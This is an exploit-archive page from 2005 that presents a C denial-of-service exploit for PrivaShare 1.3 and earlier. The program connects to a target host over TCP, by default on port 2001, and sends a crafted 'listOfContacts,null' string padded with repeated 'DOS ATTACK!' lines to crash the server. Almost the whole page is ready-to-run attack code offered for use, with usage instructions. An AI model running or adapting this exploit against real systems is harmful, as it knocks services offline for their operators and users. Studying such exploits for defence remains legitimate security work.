[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : PrivaShare <= 1.3 Denial of Service Exploit
# Published : 2005-07-07
# Author : basher13
# Previous Title : Remote File Explorer <= 1.0 Denial of Service Exploit
# Next Title : AnalogX SimpleServer:WWW <= 1.05 Denial of Service Exploit


/*

   PrivaShare TCP/IP DoS Exploit
----------------------------------------

Resolve host... [OK]
 [+] Connecting... [OK]
Target locked
Sending bad procedure... [OK]
 [+] Server DoS'ed

 Tested on Windows2000 SP4
 Greats: Infam0us Gr0up Team/member,and ll of u..take care!

 Info:
 - infamous.2hell.com
 - basher13@linuxmail.org

*/

#include <string.h>
#include <winsock2.h>
#include <stdio.h>

#pragma comment(lib, "ws2_32.lib")

char doscore[] =
/*

        Offset 0000ca10 to 0000ca2b

0000ca10 6c 00 69 00 73 00 74 00 4f 00 66 00 43 00
6f 00 6e 00 74 00 61 00 63 00 74 00 73 00

HEX:
6c 20 69 20 73 20 74 20 4f 20 66 20 43 20 6f 20 6e 20 74
20 61 20 63 20 74


*/
"listOfContacts,null"
"***          PrivaShare TCP/IP DoS Exploit        n"
"***-----------------------------------------------n"
"***   Infam0us Gr0up - Securiti Research Team     nn"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!n";



int main(int argc, char *argv[])
{
WSADATA wsaData;
WORD wVersionRequested;
struct hostent *pTarget;
struct sockaddr_in sock;
char *target;
int port,bufsize;
SOCKET inetdos;

if (argc < 2)
{
printf("        PrivaShare TCP/IP DoS Exploit n", argv[0]);
printf("  ------------------------------------------n", argv[0]);
printf("      Infam0us Gr0up - Securiti Researchnn", argv[0]);
printf("[-]Usage: %s [target] [port]n", argv[0]);
printf("[?]Exam: %s localhost 2001n", argv[0]);
exit(1);
}

wVersionRequested = MAKEWORD(1, 1);
if (WSAStartup(wVersionRequested, &wsaData) < 0) return -1;

target = argv[1];
port = 2001;

if (argc >= 3) port = atoi(argv[2]);
bufsize = 1024;
if (argc >= 4) bufsize = atoi(argv[3]);

inetdos = socket(AF_INET, SOCK_STREAM, 0);
if(inetdos==INVALID_SOCKET)
{
printf("Socket ERROR n");
exit(1);
}
printf("        PrivaShare TCP/IP DoS Exploit n", argv[0]);
printf("  ------------------------------------------rnn", argv[0]);
printf("Resolve host... ");
if ((pTarget = gethostbyname(target)) == NULL)
{
printf("FAILED n", argv[0]);
exit(1);
}
printf("[OK]n ");
memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length);
sock.sin_family = AF_INET;
sock.sin_port = htons((USHORT)port);

printf("[+] Connecting... ");
if ( (connect(inetdos, (struct sockaddr *)&sock, sizeof (sock) )))
{
printf("FAILEDn");
exit(1);
}
printf("[OK]n");
printf("Target lockedn");
printf("Sending bad procedure... ");
if (send(inetdos, doscore, sizeof(doscore)-1, 0) == -1)
{
printf("ERRORn");
closesocket(inetdos);
exit(1);
}
printf("[OK]n ");
printf("[+] Server DoS'edn");
closesocket(inetdos);
WSACleanup();
return 0;
}

// www.Syue.com [2005-07-07]